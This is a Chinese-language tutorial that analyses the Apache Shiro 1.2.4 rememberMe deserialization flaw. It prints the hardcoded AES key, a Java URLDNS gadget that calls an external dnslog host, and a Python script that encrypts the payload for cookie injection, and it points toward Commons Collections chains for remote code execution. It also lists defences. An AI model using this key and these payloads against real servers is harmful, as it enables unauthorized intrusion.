shiro反序列化初探
字数 1478 2025-08-11 08:36:13
Apache Shiro 反序列化漏洞分析与利用
1. Apache Shiro 简介
Apache Shiro 是一个开源的 Java 安全框架,提供以下安全功能:
- 身份验证 (Authentication)
- 授权 (Authorization)
- 加密 (Cryptography)
- 会话管理 (Session Management)
可应用于 Web 和非 Web 应用程序,简化开发者的安全实现工作。
2. 漏洞原理
2.1 Remember Me 功能机制
Shiro 提供了会话保持功能:
- 用户勾选 "Remember Me" 并成功登录后
- 服务端返回一个名为
rememberMe的 Cookie 字段 - 该字段包含序列化的登录信息,经过 AES 加密和 Base64 编码
- 用户后续访问携带此 Cookie 可免密码登录
2.2 漏洞成因
关键问题:
- AES 加密使用固定密钥(硬编码在源代码中)
- 攻击者可构造恶意序列化数据,使用已知密钥加密后通过 Cookie 传递
- 服务端接收后会解密并反序列化,导致恶意代码执行
影响版本:Apache Shiro <= 1.2.4
3. 环境搭建
3.1 获取源码
从 GitHub 下载 Shiro 1.2.4 源码:
https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
3.2 配置依赖
在 pom.xml 中添加必要依赖(详见原文代码)
3.3 运行环境
- 使用 IDEA 打开
shiro-shiro-root-1.2.4\samples\web - 配置 Tomcat 服务器
- 启动后访问 8080 端口
4. 加密流程分析
4.1 登录流程
- 未登录时 Cookie 无
rememberMe字段 - 勾选 "Remember Me" 登录后,返回
set-Cookie字段 - 该字段包含序列化字符串经 AES 和 Base64 加密的结果
4.2 关键代码路径
-
AbstractRememberMeManager.onSuccessfulLogin()- 登录成功后调用- 判断是否勾选 "Remember Me"
- 是则调用
rememberIdentity()
-
rememberIdentity()流程:- 获取用户登录信息 (
getIdentityToRemember) - 转换为字节数组 (
convertPrincipalsToBytes)- 序列化用户信息
- AES 加密
- Base64 编码 (
rememberSerializedIdentity) - 设置到 Cookie 返回客户端
- 获取用户登录信息 (
5. 漏洞利用
5.1 解密流程
- 服务端通过
getRememberedSerializedIdentity读取 Cookie - Base64 解码
- 调用
convertBytesToPrincipals:- 使用固定密钥解密
- 反序列化数据
5.2 固定密钥位置
在 AbstractRememberMeManager 构造函数中硬编码:
this.setCipherKey(Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="));
5.3 漏洞验证(URLDNS 链)
- 生成恶意序列化数据:
public class payload {
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("web.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
}
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
URL url = new URL("http://qyoubz.dnslog.cn");
Class c = url.getClass();
Field hashcodefiled = c.getDeclaredField("hashCode");
hashcodefiled.setAccessible(true);
hashcodefiled.set(url,1234);
hashMap.put(url,1);
hashcodefiled.set(url,-1);
serialize(hashMap);
}
}
- 使用固定密钥加密:
import base64
from Crypto.Cipher import AES
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
return ciphertext
- 替换 Cookie 发送请求,观察 DNS 解析记录验证漏洞
6. 防御措施
- 升级到最新版本(修复了硬编码密钥问题)
- 自定义加密密钥(通过
setCipherKey方法) - 禁用 Remember Me 功能(如不需要)
- 实施反序列化过滤
7. 扩展利用
实际攻击中可使用更复杂的反序列化链(如 Commons Collections)实现 RCE,本文使用 URLDNS 仅作验证用途。